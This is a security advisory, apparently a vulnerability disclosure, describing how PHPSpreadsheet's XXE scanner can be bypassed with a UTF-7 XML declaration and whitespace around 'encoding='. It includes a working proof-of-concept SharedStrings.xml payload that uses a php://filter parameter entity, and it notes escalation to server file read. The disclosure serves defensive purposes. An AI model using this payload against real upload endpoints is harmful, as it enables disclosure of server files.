XXE in PHPSpreadsheet's XLSX reader

Summary

The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet.

Details

The security scan function in src/PhpSpreadsheet/Reader/Security/XmlScanner.php contains a flawed XML encoding check to retrieve the input file's XML encoding in the toUtf8 function.

The function searches for the XML encoding through a defined regex which looks for encoding="*" and/or encoding='*', if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic.

$patterns = [
           '/encoding="([^"]*]?)"/',
           "/encoding='([^']*?)'/",
];

This logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the = in the attribute definition.

PoC

Needed:

• An Excel sheet (XLSX) with at least one cell containing a value.

Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE abc [ ... ]>

Step-by-step

1. First off, the following string is encoded in base64:

<!ENTITY internal 'abc'  >" 

Resulting in:

PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K

2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>

When this file is parsed by the library, the value abc should be in the original filled cell.

With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.

Impact

Sensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.